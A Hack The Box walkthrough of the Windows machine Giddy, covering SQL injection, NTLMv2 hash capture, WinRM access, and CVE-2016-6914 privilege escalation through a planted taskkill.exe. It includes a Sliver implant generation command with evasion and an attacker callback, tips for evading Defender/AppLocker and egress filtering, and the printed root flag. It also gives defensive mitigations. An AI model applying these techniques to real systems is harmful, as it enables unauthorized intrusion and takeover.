HTB Giddy Walkthrough: SQL Injection and CVE-2016-6914

Hack The Box Giddy Walkthrough: Privilege Escalation via UniFi Video Service (CVE-2016-6914) #

Machine: Giddy (Hack The Box) Difficulty: Medium OS: Windows Key Technique: SQL Injection → NTLMv2 capture → WinRM → PATH Hijacking (CVE-2016-6914)

In short #

In Giddy, initial access is gained by exploiting a SQL injection in the web application to force the MSSQL database to connect via SMB to the attacker's machine, thus capturing the NTLMv2 hash of a valid user. Once the hash is cracked and access is gained via WinRM, privilege escalation to SYSTEM exploits CVE-2016-6914, a vulnerability in the Ubiquiti UniFi Video service that allows the execution of an arbitrary binary called taskkill.exe placed in the service installation folder, writable by low-privilege users.

Introduction #

Giddy is a Windows machine from Hack The Box that combines two very instructive techniques: abusing a SQL injection to capture credentials via NTLM capture, and a privilege escalation based on a publicly documented CVE against the Ubiquiti UniFi Video video surveillance software.

In this article we retrace the entire process, from the initial enumeration to SYSTEM, with the actual outputs of our procedure.

Note: This walkthrough was done entirely on Hack The Box, a licensed testing environment, for educational purposes.

Phase 0: Initial Access #

Port enumeration #

An nmap scan immediately shows an unusually large surface area for a public web server:

PORT     STATE SERVICE
80/tcp   open  http
443/tcp  open  https
1433/tcp open  ms-sql-s
3389/tcp open  ms-wbt-server
5985/tcp open  wsman

The presence of 1433 (Microsoft SQL Server) alongside RDP and WinRM is a clear sign: when a machine exposes so many "strange" ports at once, it's best to stop and investigate service by service instead of focusing solely on HTTP. For the enumeration and specific attack vectors for 1433, please refer to our dedicated article: Port 1433 – MSSQL: enumeration and attack.

Web Enumeration and SQL Injection #

An enumeration of the directories on the site reveals two interesting paths: one exposes a PowerShell Web Access login interface , the other leads to an online store-like application with dynamic product pages and search.

When testing parameters with a single quote, the application responds with system errors — a classic sign of unfiltered SQL injection on the MSSQL backend.

The key point is not to extract data (in this case not very useful), but to exploit MSSQL's support for stacked queries : by appending to the injection a command that calls a system function capable of accepting a network path (UNC) as an argument, we force the database to make an outgoing SMB connection to a machine under our control.

NTLMv2 hash capture #

When listening with Responder , the incoming SMB connection delivers the NTLMv2 hash of the service account:

[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
[+] Servers:
    SMB server                 [ON]
[+] Listening for events...

[SMBv2] NTLMv2-SSP Client   : 10.129.X.X
[SMBv2] NTLMv2-SSP Username : GIDDY\<utente>
[SMBv2] NTLMv2-SSP Hash     : <utente>::GIDDY:<challenge>:<hash troncato>...

The hash is then cracked offline with hashcat (mode 5600 – NetNTLMv2) against a common wordlist: the password is found to be weak and quickly yields.

Access via WinRM #

With the password in clear text, access is completed via WinRM:

$ evil-winrm -i 10.129.X.X -u stacy -p '<password>'

*Evil-WinRM* PS C:\Users\Stacy\Documents> whoami
giddy\stacy

From here you operate as a low-privileged user — the starting point for privilege escalation.

Phase 1: Enumeration for the privesc #

WinPEAS and its practical limitations #

The first attempt, as always, is to run WinPEAS for automatic enumeration. In this case, downloading directly to "obvious" folders (Documents, Downloads, Temp) resulted in Defender/AppLocker issues. The practical solution was to download the binary to a less monitored folder that was still writable by the current user:

C:\Windows\System32\spool\drivers\color

This path is often useful in these scenarios because, even though it is under System32, is typically writable by standard users (it is the printer color profiles folder) and less subject to restrictive AppLocker rules than more “obvious” directories like Desktop or Downloads.

From there, WinPEAS confirms what was suspected:

Ubiquiti UniFi Video (Ubiquiti Networks, Inc. - Ubiquiti UniFi Video)
[C:\ProgramData\unifi-video\avService.exe //RS//UniFiVideoService] - Autoload
- No quotes and Space detected
Possible DLL Hijacking in binary folder: C:\ProgramData\unifi-video
(Users [Allow: WriteData/CreateFiles])

A false pattern to discard: unquoted service path #

The report indicates the absence of quotation marks in the service path. However, when parsing the string, the space appears. after avService.exe (it is part of the topics //RS//UniFiVideoService, Apache Commons Daemon/procrun syntax), not before the extension. No spaces in the folder names involved: this specific vector is not exploitable here.

The real vector: CVE-2016-6914 #

The correct vector is publicly documented as CVE-2016-6914: the Ubiquiti UniFi Video service, during stop/start operations, invokes taskkill without specifying the full path, to terminate the underlying Java process. The folder C:\ProgramData\unifi-video It is writable by the Users group (WriteData/CreateFiles) and is included in the search PATH at run time: placing there a malicious binary called taskkill.exe, the SYSTEM service runs it instead of the legitimate System32 taskkill.

The exact name of the file to be placed — taskkill.exe — was not derived from a dynamic analysis on the fly (Procmon, in this case, was not useful because the capture window had already been started on a different attempt), but directly from the CVE public advisory, which precisely describes which binary the service calls without an absolute path during shutdown. When a vulnerability is already documented and numbered, it's always best to start from there instead of reinventing the enumeration from scratch.

Phase 2: Payload generation with Sliver #

To generate the implant, we used Sliver as the C2 framework. For a complete overview of Sliver installation and use, please refer to our dedicated article: Sliver C2: User Guide.

sliver > generate --http <IP_ATTACCANTE>:<PORTA> --os windows --arch amd64 --format exe --evasion --save taskkill.exe

[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 1m11s
[*] Implant saved to ./taskkill.exe

A practical problem: the listener port #

In the first attempts the callback did not arrive at all, even though the file was actually executed on the target (verifiable with Get-Process | findstr taskkill, which showed the active process). Suspicion fell on an outgoing port filtered by the target's firewall on the “standard” ports initially attempted.

Analyzing the ports already open on the target, the 7080 port was found to be listening for another local service. However, this only affects incoming connections to that port on the target—it doesn't prevent the target from opening outgoing connections to the same port on an external machine. Based on this reasoning, we tried moving the Sliver listener to the 7080 on the attacker's side, assuming that outgoing traffic on that specific port was more permissive in the firewall rules:

sliver > http --lport 7080
[*] Starting HTTP :7080 listener ...
[*] Successfully started job #8

With this configuration the callback arrived:

[*] Session VERBAL_MODEM - 10.129.X.X:49733 (Giddy) - windows/amd64

Phase 3: Service Trigger #

The track is loaded in C:\ProgramData\unifi-video\taskkill.exe, then force restart the service (permission granted to the Remote Management Users group on the service ACL):

*Evil-WinRM* PS C:\programdata\unifi-video> Stop-Service -Name Unifivideoservice -Force
*Evil-WinRM* PS C:\programdata\unifi-video> Start-Service -Name Unifivideoservice

Checking the obtained context:

[server] sliver (VERBAL_MODEM) > whoami
Logon ID: WORKGROUP\GIDDY$
[*] Current Token ID: NT AUTHORITY\SYSTEM

Step 4: Root flag #

With an interactive shell you get the final flag:

PS C:\users\administrator\desktop> cat root.txt
6297ec3715d01eb44000864e311bb91a

Technical lessons #

1. Public CVEs remain relevantCVE-2016-6914 is a known vulnerability, but its effectiveness depends entirely on folder permissions — always check them before assuming exploitation.
2. An automated tool can get stuck on “obvious” paths: if WinPEAS or other binaries are blocked by Defender/AppLocker in standard directories, writable system folders such as spool\drivers\color are often a valid alternative.
3. “Busy” ports on the target are not a constraint for your listenerIngress and egress on the same port are independent concepts; an open port on the target for another service can be a good sign that the firewall is allowing traffic on that port.

Mitigations (blue team side) #

• Update Ubiquiti UniFi Video to a version unaffected by CVE-2016-6914.
• Apply restrictive ACLs on service folders running with elevated privileges: only SYSTEM/Administrators should have write permissions.
• Avoid calling system binaries (taskkill, net, etc.) without absolute paths within scripts or service wrappers.
• Strictly filter outbound SMB traffic to prevent NTLM capture techniques via SQL injection.

FAQ #

What is CVE-2016-6914? It is a privilege escalation vulnerability in the Ubiquiti UniFi Video service for Windows, which allows a user with write permissions on the installation folder to execute arbitrary code as SYSTEM, by exploiting the invocation of taskkill without absolute path when stopping/starting the service.

How do you gain initial access to Giddy? A SQL injection in the web application forces the MSSQL database to connect to the attacker via SMB, capturing an NTLMv2 hash that can be cracked offline with hashcat.

Why use a port like 7080 for the C2 listener? Because a port already in use on the target for a local service is often a good indicator that outgoing traffic on that port isn't being blocked by the firewall—inbound and outbound are independent rules.

Article for educational purposes, created entirely on the Hack The Box environment.